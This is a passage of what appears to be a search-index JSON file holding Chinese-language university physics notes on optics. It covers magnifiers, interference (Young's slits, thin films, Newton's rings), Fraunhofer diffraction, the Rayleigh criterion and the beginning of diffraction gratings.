<p>\u5229\u7528\u653e\u5927\u955c</p> \\[ \\text{Compare to unaided eye:} \\quad \\theta = \\frac{h_0}{N}, \\quad \\theta' = \\frac{h_i}{d_i} = \\frac{h_o}{d_o} \\] <p>\u653e\u5927\u500d\u6570</p> \\[ M = \\frac{\\theta'}{\\theta} = \\frac{h_o/d_o}{h_o/N} = \\frac{N}{d_o} \\] <p>\u5bf9\u4e8e\u8be5\u653e\u5927\u955c</p> \\[ \\frac{1}{d_o} + \\frac{1}{d_i} = \\frac{1}{f} \\quad \\Rightarrow \\quad \\frac{1}{d_o} = \\frac{1}{f} - \\frac{1}{d_i} \\] <p>\u6211\u4eec\u8981\u628a\u50cf\u6210\u5728N\u5904\uff0c\\(d_i\\)\u662f\u865a\u50cf\uff0c\u6240\u4ee5\\(-d_i = N\\)</p> <p>\u4e5f\u5c31\u662f\u8bf4</p> \\[ \\frac{1}{d_o} = \\frac{1}{f} + \\frac{1}{N} \\] <p>\u5f97\u5230\u653e\u5927\u500d\u6570\u4e3a</p> \\[ M = \\frac{N}{d_o} = N(\\frac{1}{f} + \\frac{1}{N}) = \\frac{N}{f}+1 \\]"},{"location":"NOTE/Physics/light/#_17","title":"\u6ce2\u52a8\u5149\u5b66","text":""},{"location":"NOTE/Physics/light/#interference","title":"\u5149\u7684\u5e72\u6d89(Interference)","text":""},{"location":"NOTE/Physics/light/#_18","title":"\u5149\u7684\u53e0\u52a0","text":"<p>\u7535\u573a\u5f3a\u5ea6 \\(E\\) \u7684\u632f\u52a8\u5728\u7a7a\u95f4\u7684\u4f20\u64ad\u53ef\u4ee5\u8868\u793a\u4e3a\uff1a</p> \\[ E = E_0 \\cos(\\omega t + \\varphi_1 - 2\\pi \\frac{x}{\\lambda}) \\] <p>\u5bf9\u4e8e\u4e24\u5217\u5149\u6ce2\u7684\u53e0\u52a0\uff1a</p> <ul> <li>\\(\\omega_1 = \\omega_2 = \\omega\\)</li> <li>\\(E_1 = E_{10} \\cos(\\omega t + \\varphi_{10})\\)</li> <li>\\(E_2 = E_{20} \\cos(\\omega t + \\varphi_{20})\\)</li> </ul> <p>\u53e0\u52a0\u7535\u573a\uff1a</p> \\[ E = E_1 + E_2 \\] <ul> <li>\u540c\u76f8\u4f4d\uff1a\\(\\Delta \\varphi = 0\\),\u76f8\u5e72\uff0cin phase</li> <li>\u53cd\u76f8\u4f4d\uff1a\\(\\Delta \\varphi = \\pi\\)\uff0cout of phase</li> </ul> <p>\u590d\u5e73\u9762\u77e2\u91cf\u63a8\u5bfc</p> <p>\u5bf9\u4e8e\u4e24\u5217\u5149\u6ce2\u7684\u53e0\u52a0\uff1a</p> <ul> <li>\\(\\omega_1 = \\omega_2 = \\omega\\)</li> <li>\\(E_1 = E_{10} \\cos(\\omega t + \\varphi_{10})\\)</li> <li>\\(E_2 = E_{20} \\cos(\\omega t + \\varphi_{20})\\)</li> </ul> <p>\u53e0\u52a0\u7535\u573a\uff1a</p> \\[ E = E_1 + E_2 = E_0 \\cos(\\omega t + \\varphi_0) \\] <p>\u5149\u5f3a\uff1a</p> \\[ I_0 = E_0^2 = E_{10}^2 + E_{20}^2 + 2E_{10}E_{20}\\cos\\Delta\\varphi \\] <p>\u5176\u4e2d\uff0c\\(\\Delta\\varphi = \\varphi_{20} - \\varphi_{10}\\)</p> <p> </p> <p>\u5e72\u6d89\u7684\u5149\u5f3a\u5206\u5e03</p> <p>\u5e72\u6d89\u73b0\u8c61\u7684\u5149\u5f3a\u5206\u5e03\u53ef\u4ee5\u8868\u793a\u4e3a\uff1a</p> \\[ I = I_1 + I_2 + 2\\sqrt{I_1 I_2} \\cos \\Delta \\varphi \\] <p>\u5176\u4e2d\uff0c\\(I_1\\) \u548c \\(I_2\\) \u662f\u4e24\u5217\u5149\u6ce2\u7684\u5f3a\u5ea6\uff0c\\(\\Delta \\varphi\\) \u662f\u76f8\u4f4d\u5dee\u3002</p> <p>\u5f53 \\(I_1 = I_2\\) \u65f6\uff0c\u5149\u5f3a\u5206\u5e03\u4e3a\uff1a</p> \\[ I = 4I_1 \\cos^2 \\frac{\\Delta \\varphi}{2} \\] <p>\u8fd9\u8868\u660e\u5149\u5f3a\u7684\u6700\u5927\u503c\u4e3a \\(I_{\\text{max}} = 4I_1\\)\uff0c\u6700\u5c0f\u503c\u4e3a \\(I_{\\text{min}} = 0\\)\u3002</p> <p> </p>"},{"location":"NOTE/Physics/light/#_19","title":"\u5a92\u8d28\u4e2d\u7684\u5149\u7a0b","text":"<p>\u76f8\u4f4d\u5dee\u5728\u5206\u6790\u5149\u7684\u5e72\u6d89\u65f6\u5341\u5206\u91cd\u8981\uff0c\u4e3a\u4fbf\u4e8e\u8ba1\u7b97\u5149\u901a\u8fc7\u4e0d\u540c\u5a92\u8d28\u65f6\u7684\u76f8\u4f4d\u5dee\uff0c\u5f15\u5165\u201c\u5149\u7a0b\u5dee\u201d\u7684\u6982\u5ff5\u3002(\u5149\u7a0b\u662f \\(\\int n ds\\))</p> \\[     \\Delta \\varphi = \\dfrac{2\\pi}{\\lambda} \\Delta L \\] <p>\u5982\u679c\u5728\u4ecb\u8d28\u4e2d</p> \\[ \\lambda_n = \\dfrac{v}{f} = \\dfrac{c/n}{f} = \\dfrac{c/f}{n} = \\dfrac{\\lambda_0}{n} \\] <p>\u6b64\u65f6</p> \\[      \\Delta \\varphi = \\dfrac{2\\pi}{\\lambda} n \\Delta  L \\] <p>\u7ed3\u8bba</p> <ul> <li>\u76f8\u5e72\u6761\u4ef6\uff1a\u632f\u52a8\u65b9\u5411\u76f8\u540c\uff0c\u76f8\u4f4d\u5dee\u6052\u5b9a,\u9891\u7387\u76f8\u540c</li> </ul> <p>\u5e72\u6d89\u5224\u65ad\uff1a</p> \\[ \\Delta \\varphi =  \\begin{cases}  \\pm 2k\\pi, &amp; k = 0,1,2,\\ldots \\quad (\\text{\u5e72\u6d89\u52a0\u5f3a}) \\\\ \\pm (2k + 1)\\pi, &amp; k = 0,1,2,\\ldots \\quad (\\text{\u5e72\u6d89\u51cf\u5f31}) \\end{cases} \\] \\[ \\delta =  \\begin{cases}  \\pm k\\lambda_0, &amp; k = 0,1,2,\\ldots \\quad (\\text{\u5e72\u6d89\u52a0\u5f3a}) \\\\ \\pm \\left(2k + 1\\right)\\dfrac{\\lambda_0}{2}, &amp; k = 0,1,2,\\ldots \\quad (\\text{\u5e72\u6d89\u51cf\u5f31}) \\end{cases} \\]"},{"location":"NOTE/Physics/light/#_20","title":"\u6768\u6c0f\u53cc\u7f1d\u5e72\u6d89\u5b9e\u9a8c","text":"<ul> <li>\u5e72\u6d89\u76f8\u957f\uff0c\u660e\u7eb9\uff1a\\(\\delta = d \\cdot \\frac{x}{D} = \\pm k\\lambda\\)</li> <li>\u5e72\u6d89\u76f8\u6d88\uff0c\u6697\u7eb9\uff1a\\(\\delta = d \\cdot \\frac{x}{D} = \\pm (2k - 1)\\frac{\\lambda}{2}\\)</li> <li>\u6697\u7eb9\u4e2d\u5fc3\uff1a\\(x_{\\pm(2k+1)} = \\pm (2k - 1)\\frac{D}{2d}\\lambda, \\, k = 1,2,3\\ldots\\)</li> <li>\u660e\u7eb9\u4e2d\u5fc3\uff1a\\(x_{\\pm k} = \\pm k\\frac{D}{d}\\lambda, \\, k = 0,1,2,3\\ldots\\)</li> <li>\u4e24\u76f8\u90bb\u660e\u7eb9\uff08\u6216\u6697\u7eb9\uff09\u95f4\u8ddd\uff1a\\(\\Delta x = \\frac{D}{d}\\lambda\\)</li> </ul> Question <ul> <li> <p>\u82e5S1\u3001S2\u4e24\u6761\u7f1d\u7684\u5bbd\u5ea6\u4e0d\u7b49\uff0c\u6761\u7eb9\u6709\u4f55\u53d8\u5316\uff1f  \u4e24\u6761\u7f1d\u7684\u5bbd\u5ea6\u4e0d\u7b49\uff0c\u4f7f\u4e24\u5149\u675f\u7684\u5f3a\u5ea6\u4e0d\u7b49\uff1b\u867d\u7136\u5e72\u6d89\u6761\u7eb9\u4e2d\u5fc3\u8ddd\u4e0d\u53d8\uff0c\u4f46\u539f\u6781\u5c0f\u5904\u7684\u5f3a\u5ea6\u4e0d\u518d\u4e3a\u96f6\uff0c\u6761\u7eb9\u7684\u53ef\u89c1\u5ea6\u53d8\u5dee\u3002</p> </li> <li> <p>\u82e5\u4f7f\u7528\u767d\u5149\u8fdb\u884c\u5e72\u6d89\u5b9e\u9a8c\uff0c\u6761\u7eb9\u6709\u4f55\u53d8\u5316\uff1f \u82e5\u4f7f\u7528\u767d\u5149\u5149\u6e90\uff0c\u5219\u5728\u4e2d\u592e\u96f6\u7ea7\u51fa\u73b0\u767d\u8272\u4eae\u7eb9\uff0c\u4e24\u4fa7\u5bf9\u79f0\u6392\u5217\u82e5\u5e72\u5f69\u8272\u6761\u7eb9\u3002</p> </li> <li> <p>\u7528\u767d\u5149 \u4f5c\u53cc\u7f1d\u5e72\u6d89\u5b9e\u9a8c\u65f6\uff0c\u80fd\u89c2\u5bdf \u5230\u51e0\u7ea7\u6e05\u6670\u53ef\u8fa8\u7684\u5f69\u8272\u5149\u8c31\uff1f \u5728\u4e2d\u592e\u767d\u8272\u660e\u7eb9\u4e24\u4fa7\uff0c \u53ea\u6709\u7b2c\u4e00\u7ea7\u5f69\u8272\u5149\u8c31\u662f\u6e05\u6670\u53ef\u8fa8\u7684\u3002</p> </li> </ul>"},{"location":"NOTE/Physics/light/#_21","title":"\u6d1b\u57c3\u5fb7\u955c\u5b9e\u9a8c","text":"<p>\u5f53\u5c4f\u79fb\u5230A'B'\u4f4d\u7f6e\u65f6\uff0c\u5728\u5c4f\u4e0a\u7684P\u70b9\u51fa\u73b0\u6697\u6761\u7eb9\u3002\u8fd9\u4e00\u7ed3\u8bba\u8bc1\u5b9e\uff0c\u5149\u5728\u955c\u5b50\u8868\u9762\u53cd\u5c04\u65f6\u6709\u76f8\u4f4d\\(\\pi\\)\u7a81\u53d8\u3002</p> <p>Reflection Phase Shifts\u534a\u6ce2\u635f\u5931</p> <p>\u5982\u679c\u5149\u662f\u4ece\u5149 \u758f\u5a92\u8d28\u4f20\u5411\u5149\u5bc6\u5a92\u8d28\uff0c\u5728\u5176\u5206\u754c\u9762\u4e0a\u53cd\u5c04\u65f6\u5c06\u53d1\u751f\u534a\u6ce2\u635f\u5931\uff0c\u6298\u5c04\u6ce2\u65e0\u534a\u6ce2\u635f\u5931\u3002\u5728\u4e0a\u8ff0\u5b9e\u9a8c\u4e2d\uff0c\u5149\u4ece\u7a7a\u6c14\u4f20\u5411\u73bb\u7483\uff0c\u56e0\u6b64\u5728\u53cd\u5c04\u65f6\u53d1\u751f\u534a\u6ce2\u635f\u5931\u3002\u4ea7\u751f\\(\\pi\\)\u7684\u76f8\u4f4d\u5dee\uff0c\u56e0\u6b64\u4e3a\u6697\u7eb9\u3002</p>"},{"location":"NOTE/Physics/light/#_22","title":"\u7b49\u539a\u5e72\u6d89","text":"<p>\u5f53\u4e00\u675f\u5e73\u884c\u5149\u5165\u5c04\u5230\u539a\u5ea6\u4e0d\u5747\u5300\u7684\u900f\u660e\u4ecb\u8d28\u8584\u819c\u4e0a\uff0c\u5982\u56fe\u6240\u793a\uff0c\u4e24\u5149\u7ebf \\(a\\) \u548c \\(b\\) \u7684\u5149\u7a0b\u5dee\uff1a</p> \\[ \\delta = 2n_2e + \\delta' \\] <p>\u5176\u4e2d\uff0c\\(\\delta'\\) \u4e3a\u56e0\u4e3a\u534a\u6ce2\u635f\u5931\u800c\u4ea7\u751f\u7684\u9644\u52a0\u5149\u7a0b\u5dee\u3002</p> <ul> <li>\u5f53 \\(e\\) \u4fdd\u6301\u4e0d\u53d8\u65f6\uff0c\u5149\u7a0b\u5dee\u4ec5\u4e0e\u819c\u7684\u539a\u5ea6\u6709\u5173\uff0c\u51e1\u539a\u5ea6\u76f8\u540c\u7684\u5730\u65b9\u5149\u7a0b\u5dee\u76f8\u540c\uff0c\u4ece\u800c\u5bf9\u5e94\u540c\u4e00\u6761\u5e72\u6d89\u6761\u7eb9 \u2014\u2014 \u7b49\u539a\u5e72\u6d89\u6761\u7eb9\u3002</li> </ul> <p>\u5288\u5c16\u819c</p> <p>\u4ece\u7a7a\u6c14\u5230\u73bb\u7483\u5b58\u5728\u534a\u6ce2\u635f\u5931</p> \\[     \\delta = 2ne + \\frac{\\lambda}{2} \\] <p>\u53d1\u751f\u5e72\u6d89\u65f6</p> \\[     \\delta = \\begin{cases}     2ne + \\frac{\\lambda}{2} = k\\lambda, &amp; \\text{\u660e\u7eb9} \\\\     2ne + \\frac{\\lambda}{2} = (2k - 1)\\frac{\\lambda}{2}, &amp; \\text{\u6697\u7eb9}     \\end{cases} \\] <p>\u76f8\u90bb\u660e\u7eb9\uff08\u6216\u6697\u7eb9\uff09</p> \\[     \\Delta e = \\frac{\\lambda}{2n} \\] \u5229\u7528\u5288\u5c16\u6d4b\u91cf\u5de5\u4ef6\u51f9\u51f8 <p>  \u5982\u679c\u5de5\u4ef6\u8868\u9762\u662f\u7cbe\u786e\u7684\u5e73\u9762,\u7b49\u539a\u5e72\u6d89\u6761\u7eb9\u5e94\u8be5\u662f\u7b49\u8ddd\u79bb\u7684\u5e73\u884c\u76f4\u6761\u7eb9\uff0c\u73b0\u5728\u89c2\u5bdf\u5230\u7684\u5e72\u6d89\u6761\u7eb9\u5f2f\u5411\u7a7a\u6c14\u819c\u7684\u5de6\u7aef\u3002\u56e0\u6b64\uff0c\u53ef\u5224\u65ad\u5de5\u4ef6\u8868\u9762\u662f\u4e0b\u51f9\u7684</p> <p>\u5229\u7528\u76f8\u4f3c\u4e09\u89d2\u5f62\u5173\u7cfb\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\uff1a</p> \\[ \\frac{a}{b} = \\frac{\\Delta h}{(e_k - e_{k-1})} = \\frac{\\Delta h}{\\frac{\\lambda}{2}} \\] <p>\u6240\u4ee5\uff1a</p> \\[ \\Delta h = \\frac{a \\lambda}{b \\cdot 2} \\] <p>\u725b\u987f\u73af\u5b9e\u9a8c</p> <p>\u5149\u7a0b\u5dee\u4e3a</p> \\[     \\delta = 2e + \\frac{\\lambda}{2} \\] \\[ \\delta = 2e + \\frac{\\lambda}{2} =  \\begin{cases}  k\\lambda, &amp; (k = 1, 2, 3, \\ldots) \\quad \\text{\u660e\u7eb9} \\\\  (2k + 1)\\frac{\\lambda}{2}, &amp; (k = 0, 1, 2, \\ldots) \\quad \\text{\u6697\u7eb9}  \\end{cases} \\] <p>\u7531\u51e0\u4f55\u5173\u7cfb\u53ef\u77e5</p> \\[ (R - e)^2 + r^2 = R^2 \\] <p>\u5c55\u5f00\u5e76\u7b80\u5316\u5f97\u5230\uff1a</p> \\[ R^2 - 2Re + e^2 + r^2 = R^2 \\] <p>\u5ffd\u7565 \\(e^2\\) \u9879\uff0c\u5f97\u5230\uff1a</p> \\[ e = \\frac{r^2}{2R} \\] \\[ r =  \\begin{cases}  \\sqrt{(k - \\frac{1}{2})R\\lambda}, &amp; k = 1, 2, 3, \\ldots \\quad \\text{\u660e\u73af} \\\\  \\sqrt{kR\\lambda}, &amp; k = 0, 1, 2, \\ldots \\quad \\text{\u6697\u73af}  \\end{cases} \\] <p>\u5bf9\u4e8e \\(k = 0\\)\uff0c\\(r = 0\\)\uff0c\u4e2d\u5fc3\u662f\u6697\u6591\u3002</p> <p>\u5bf9\u4e8e \\(k = 1\\)\uff0c</p> \\[ r =  \\begin{cases}  \\sqrt{\\frac{1}{2}R\\lambda}, &amp; k = 1, 2, 3, \\ldots \\quad \\text{\u660e\u73af} \\\\  \\sqrt{R\\lambda}, &amp; k = 0, 1, 2, \\ldots \\quad \\text{\u6697\u73af}  \\end{cases} \\] \\[ \\Delta r = r_{k+1} - r_k = \\frac{\\sqrt{R\\lambda}}{\\sqrt{k} + \\sqrt{k+1}} \\] <p>\u725b\u987f\u73af\u662f\u7b49\u539a\u5e72\u6d89\uff0c\u5176\u5e72\u6d89\u6761\u7eb9\u662f\u5185\u758f\u5916\u5bc6\u7684\u540c\u5fc3\u5706\u73af\u3002</p>"},{"location":"NOTE/Physics/light/#diffraction","title":"\u5149\u7684\u884d\u5c04(Diffraction)","text":"<p>\u5149\u5728\u4f20\u64ad\u8fc7\u7a0b\u4e2d\u9047\u5230\u969c\u788d\u7269\u65f6\uff0c\u4f1a\u7ed5\u8fc7\u969c\u788d\u7269\u7ee7\u7eed\u4f20\u64ad\uff0c\u8fd9\u79cd\u73b0\u8c61\u79f0\u4e3a\u5149\u7684\u884d\u5c04\u3002</p> <p>Note</p> <ul> <li>\u83f2\u6d85\u5c14\u884d\u5c04:\u83f2\u6d85\u8033\u884d\u5c04\u662f\u6307\u5f53\u5149\u6e90\u548c\u89c2\u5bdf\u5c4f\uff0c\u6216\u4e24\u8005\u4e4b\u4e00\u79bb\u969c\u788d\u7269\uff08\u884d\u5c04\u5c4f\uff09\u7684\u8ddd\u79bb\u4e3a\u6709\u9650\u8fdc\u65f6\uff0c\u6240\u53d1\u751f\u7684\u884d\u5c04\u73b0\u8c61</li> <li>\u592b\u7405\u79be\u8d39\u884d\u5c04:\u5f53\u5149\u6e90\u548c\u89c2\u5bdf\u5c4f\u4e24\u8005\u5747\u79bb\u969c\u788d\u7269\uff08\u884d\u5c04\u5c4f\uff09\u7684\u8ddd\u79bb\u4e3a\u65e0\u9650\u8fdc\u65f6\uff0c\u6240\u53d1\u751f\u7684\u884d\u5c04\u73b0\u8c61</li> </ul> <p>\u60e0\u66f4\u65af-\u83f2\u6d85\u5c14\u539f\u7406</p> <ul> <li>\u60e0\u66f4\u65af\u539f\u7406\uff1a\u6ce2\u9762\u4e0a\u7684\u6bcf\u4e00\u70b9\u90fd\u53ef\u4ee5\u770b\u4f5c\u662f\u65b0\u7684\u6b21\u6ce2\u6e90\uff0c\u8fd9\u4e9b\u6b21\u6ce2\u6e90\u53d1\u51fa\u7684\u7403\u9762\u6b21\u6ce2(wavelets)\u7684\u5305\u7edc\u9762\u5c31\u662f\u65b0\u7684\u6ce2c\u9762\u3002</li> <li>\u60e0\u66f4\u65af-\u83f2\u6d85\u5c14\u539f\u7406\uff1a\u6b21\u6ce2\u6e90\u53d1\u51fa\u7684\u7403\u9762\u6b21\u6ce2\u5728\u7a7a\u95f4\u67d0\u70b9\u7684\u76f8\u5e72\u53e0\u52a0\uff0c\u51b3\u5b9a\u4e86\u8be5\u70b9\u6ce2\u7684\u5f3a\u5ea6\u3002</li> </ul> \\[ dE = CK(\\theta) \\frac{dS}{r} \\cos\\left(\\omega t - \\frac{2\\pi r}{\\lambda}\\right) \\] <ul> <li>\\(K(\\theta)\\) \u4e3a\u503e\u659c\u56e0\u5b50\uff0c\u5f53 \\(\\theta = 0\\) \u65f6\uff0c\\(K(\\theta) = 1\\)( \u6cbf\u539f\u6ce2\u4f20\u64ad\u65b9\u5411\u7684\u5b50\u6ce2\u632f\u5e45\u6700\u5927)\uff0c\\(\\theta\\) \u8d8a\u5927\uff0c\\(K(\\theta)\\) \u8d8a\u5c0f, \u5f53 \\(\\theta = \\frac{\\pi}{2}\\) \u65f6\uff0c\\(K(\\theta) = 0\\)\u3002\u5927\u4e8e \\(\\frac{\\pi}{2}\\) \u65f6\uff0c\\(K(\\theta)\\) \u4e3a0\uff0c\u5b50\u6ce2\u4e0d\u80fd\u5411\u540e\u4f20\u64ad\u3002</li> </ul> <p>\u60e0\u66f4\u65af-\u83f2\u6d85\u5c14\u539f\u7406\u7684\u6570\u5b66\u8868\u793a</p> \\[ E(P) = \\int_S \\frac{CK(\\theta)}{r} \\cos\\left(\\omega t - \\frac{2\\pi r}{\\lambda}\\right) dS \\] <p>\u5728\u592b\u7405\u79be\u8d39\u884d\u5c04\u4e2d\uff0c\u7531\u4e8e\u8ddd\u79bb\u662f\u65e0\u9650\u8fdc\uff0c\u6240\u4ee5 \\(r\\) \u548c \\(\\theta\\) \u90fd\u662f\u5e38\u6570\uff0c\u53ef\u4ee5\u5199\u6210\uff1a</p> \\[  E(P) \\propto \\int_S  \\cos\\left(\\omega t - \\frac{2\\pi r}{\\lambda}\\right)  dS  \\]"},{"location":"NOTE/Physics/light/#_23","title":"\u5355\u7f1d\u592b\u7405\u79be\u8d39\u884d\u5c04","text":"<p>\u5149\u8def\u56fe\u5982\u4e0b\uff1a</p> <ul> <li>\u5149\u7a0b\u5dee\uff1a\\(\\delta = a \\sin \\theta\\)\uff0c\u8fd9\u662f\u56e0\u4e3a\u8d39\u9a6c\u539f\u7406\u7b49\u5149\u7a0b</li> </ul> <p>\u5f53 \\(\\theta = 0\\) \u65f6\uff0c\\(a \\sin \\theta = 0\\)\uff0c\u6b64\u65f6\u4e3a\u4e2d\u592e\u660e\u7eb9</p>"},{"location":"NOTE/Physics/light/#_24","title":"\u83f2\u6d85\u5c14\u534a\u6ce2\u5e26\u6cd5","text":"<p>\u5728\u6ce2\u9635\u9762\u4e0a\u622a\u53d6\u4e00\u4e2a\u6761\u72b6\u5e26\uff0c\u4f7f\u5b83\u4e0a\u4e0b\u4e24\u8fb9\u7f18\u53d1\u7684\u5149\u5728\u5c4f\u4e0a\u5904\u7684\u5149\u7a0b\u5dee\u4e3a \\(\\lambda/2\\)\uff0c\u6b64\u5e26\u79f0\u4e3a\u534a\u6ce2\u5e26\u3002</p> <ul> <li>\u5f53 \\(a \\sin \\theta = \\lambda\\) \u65f6\uff0c\u53ef\u5c06\u7f1d\u5206\u4e3a\u4e24\u4e2a\u201c\u534a\u6ce2\u5e26\u201d\u3002</li> </ul> <ul> <li>\u76f8\u90bb\u534a\u6ce2\u5e26\u4e0a\u5bf9\u5e94\u70b9\u53d1\u7684\u5149\u5728 \\(P\\) \u5904\u5e72\u6d89\u76f8\u6d88\u5f62\u6210\u6697\u7eb9\u3002</li> </ul> <p>\u7531\u534a\u6ce2\u5e26\u6cd5\u53ef\u5f97\u660e\u6697\u7eb9\u6761\u4ef6\uff1a</p> <ul> <li>\u6697\u7eb9\uff1a\\(a \\sin \\theta = \\pm k\\lambda\\), \\(k = 1,2,3,\\ldots\\)</li> <li>\u660e\u7eb9\uff1a\\(a \\sin \\theta = \\pm (2k + 1)\\frac{\\lambda}{2}\\), \\(k = 1,2,\\ldots\\)</li> <li>\u4e2d\u592e\u660e\u7eb9\uff1a\\(a \\sin \\theta = 0\\)</li> </ul> <p>\u5bf9\u4e8e\u5176\u5b83\u89d2\u5ea6\uff0c\u4f7f\u7528\u632f\u5e45\u77e2\u91cf\u53e0\u52a0\u6cd5\uff1b</p> \\[ A_\\theta = A_1 + A_1 e^{i\\Delta\\varphi} + A_1 e^{i2\\Delta\\varphi} + \\ldots + A_1 e^{i(N-1)\\Delta\\varphi} \\] <p>\u901a\u8fc7\u516c\u5f0f\u63a8\u5bfc\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\uff1a</p> \\[ A_\\theta = A_1 \\frac{e^{iN\\Delta\\varphi} - 1}{e^{i\\Delta\\varphi} - 1} = A_1 \\frac{e^{iN\\Delta\\varphi/2} \\left(e^{iN\\Delta\\varphi/2} - e^{-iN\\Delta\\varphi/2}\\right)}{e^{i\\Delta\\varphi/2} \\left(e^{i\\Delta\\varphi/2} - e^{-i\\Delta\\varphi/2}\\right)} \\] <p>\u8fd9\u53ef\u4ee5\u8fdb\u4e00\u6b65\u7b80\u5316\u4e3a\uff1a</p> \\[ A_\\theta = A_1 \\frac{\\sin(N\\Delta\\varphi/2)}{\\sin(\\Delta\\varphi/2)} \\] <p>\u632f\u5e45\u7684\u7edd\u5bf9\u503c\u4e3a\uff1a</p> \\[ |A_\\theta| = A_1 \\frac{\\sin(N\\Delta\\varphi/2)}{\\sin(\\Delta\\varphi/2)} \\] <p>\u5f53 \\(N\\Delta\\varphi = \\frac{2\\pi}{\\lambda} a \\sin \\theta\\) \u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u5b9a\u4e49\uff1a</p> \\[ u = \\frac{\\pi}{\\lambda} a \\sin \\theta \\] <p>\u56e0\u6b64\uff0c\u632f\u5e45\u53ef\u4ee5\u8fd1\u4f3c\u4e3a\uff1a</p> \\[ |A_\\theta| \\approx A_1 N \\frac{\\sin u}{u} \\] <p>\u8fd9\u8868\u660e\u5149\u7684\u5f3a\u5ea6\u5206\u5e03\u4e0e \\(\\sin u / u\\) \u7684\u5f62\u5f0f\u6709\u5173\uff0c\u79f0\u4e3a\u201csinc\u201d\u51fd\u6570\u3002</p> <p>\u6697\u7eb9\u5f53 sinc \u51fd\u6570\u4e3a 0, \\( u = \\pi \\), \\( a \\sin \\theta = k \\lambda \\), \u5373 \\( \\sin \\theta = \\frac{k \\lambda}{a} \\)</p> <p>\u6b21\u7ea7\u5927\u5bbd\u5ea6\u4e3a\u4e24\u4e2a\u76f8\u90bb\u6697\u7eb9\u4e4b\u95f4\u7684\u8ddd\u79bb\uff0c\u5373\uff1a</p> \\[ \\Delta \\sin \\theta = \\frac{\\lambda}{a} \\] <p>\u5982\u679c\u95ee\u5b9e\u9645\u8ddd\u79bb\uff0c\u5219\u9700\u8981\u4e58\u4ee5 \\(D\\)(\u524d\u63d0\u662f\u89d2\u5ea6\u5f88\u5c0f)</p> <p>\u6ce2\u957f\u53d8\u5316\u5bf9\u4e8e\u884d\u5c04\u6761\u7eb9\u7684\u5f71\u54cd</p> <p>\u5047\u8bbe\u56fa\u5b9a\\(\\lambda\\)\uff0c\u53d8\u5316\\(a\\)\uff0c\u5219\u6761\u7eb9\u95f4\u8ddd\u4f1a\u53d8\u5316\u3002</p> <ul> <li> <p>\u5f53 \\(\\frac{\\lambda}{a} \\to 1\\) \u65f6\uff0c\\(\\sin \\theta_0 \\to 1\\)\uff0c\u6b64\u65f6\u5c4f\u5e55\u5df2\u65e0\u6697\u7eb9\uff1b</p> </li> <li> <p>\u5f53 \\(\\frac{\\lambda}{a} \\to \\infty\\) \u65f6\uff0c\\(\\Delta x_0 = \\infty\\)\uff0c\u6b64\u65f6\u5c4f\u5e55\u4eae\u5ea6\u5747\u5300\uff1b</p> </li> <li> <p>\u5f53 \\(\\frac{\\lambda}{a} \\to 0\\) \u65f6\uff0c\\(\\Delta x_0 \\to 0\\) \u6b64\u65f6\u884d\u5c04\u56fe\u6837\u805a\u96c6\u5728\u4e00\u8d77\uff0c\u5c4f\u5e55\u4e0a\u53ea\u663e\u51fa\u5355\u4e00\u7684\u4eae\u7ebf\u2014\u2014\u5355\u7f1d\u7684\u51e0\u4f55\u5149\u5b66\u50cf\u3002(a\u5f88\u5927\uff0c\u76f8\u5f53\u4e8e\u6ca1\u6709\u963b\u6321\uff0c\u6b63\u5e38\u7684\u51e0\u4f55\u5149\u5b66\u6210\u50cf)</p> </li> </ul> <p>\u5706\u5b54\u7684\u592b\u7405\u79be\u8d39\u884d\u5c04</p> <p>\u5b9e\u9a8c\u88c5\u7f6e\u5982\u4e0b\uff1a</p> <p> </p> <p>\u5176\u4f1a\u5f62\u6210\u4e00\u7cfb\u5217\u7684\u540c\u5fc3\u5706\u73af\uff0c\u79f0\u4e3a\u201c\u7231\u91cc\u6591\u201d\u3002</p> <p> </p>"},{"location":"NOTE/Physics/light/#_25","title":"\u884d\u5c04\u53d7\u9650\u4e0e\u745e\u5229\u5224\u636e","text":"<p>\u7406\u60f3\u70b9\u5149\u6e90\u7684\u50cf\u662f\u4e00\u4e2a\u70b9\uff0c\u4f46\u5b9e\u9645\u4e0a\u7531\u4e8e\u884d\u5c04\uff0c\u50cf\u662f\u4e00\u4e2a\u7231\u91cc\u6591\u3002(\u53ef\u4ee5\u8fd1\u4f3c\u4e3a\u4e00\u4e2a\u5bbd\u5ea6\u4e3a\u900f\u955c\u9ad8\u5ea6\uff0c\u540e\u9762\u662f\u65e0\u9650\u5927\u900f\u955c\u7684\u884d\u5c04)</p> <p>\u5f88\u8fd1\u7684\u4e24\u4e2a\u7269\u70b9\u8c61\u6591\u6709\u53ef\u80fd\u91cd\u53e0\uff0c\u4ece\u800c\u5206\u8fa8\u4e0d\u6e05\u3002</p> <p>\u745e\u5229\u5224\u636e</p> <p>\u5bf9\u4e8e\u4e24\u4e2a\u7b49\u5149\u5f3a\u7684\u975e\u76f8\u5e72\u7269\u70b9,\u82e5\u5176\u4e2d\u4e00\u70b9\u7684\u8c61\u6591\u4e2d\u5fc3\u6070\u597d\u843d\u5728\u53e6\u4e00\u70b9\u7684\u8c61\u6591\u7684\u8fb9\u7f18(\u7b2c\u4e00\u6697\u7eb9\u5904),\u5219\u6b64\u4e24\u7269\u70b9\u88ab\u8ba4\u4e3a\u662f\u521a\u521a\u53ef\u4ee5\u5206\u8fa8\u3002\u6b64\u65f6\u4e24\u4e2a\u7231\u91cc\u6591\u91cd\u53e0\u90e8\u5206\u7684\u5149\u5f3a\u4e3a\u7231\u91cc\u6591\u4e2d\u5fc3\u5149\u5f3a\u768480%\u3002</p> <p> </p>"},{"location":"NOTE/Physics/light/#_26","title":"\u5149\u6805\u884d\u5c04","text":"<p>\u5149\u6805</p> <p>\u5149\u6805\u2014\u5927\u91cf\u7b49\u5bbd\u7b49\u95f4\u8ddd\u7684\u5e73\u884c\u72ed\u7f1d(\u6216\u53cd\u5c04\u9762) \u6784\u6210\u7684\u5149\u5b66\u5143\u4ef6\u3002</p> <p>\u5149\u6805\u5e38\u6570\uff1a\u5468\u671f\u957f\u5ea6 \\(d = a + b\\)</p> <p> </p> <p>\u5149\u6805\u7684\u884d\u5c04\u56fe\u6837\u4e3a\u5728\u539f\u5355\u7f1d\u7684\u4e2d\u592e\u660e\u7eb9\u4e2d\uff0c\u51fa\u73b0\u6697\u7eb9\uff0c\u968f\u7740 \\(N\\) 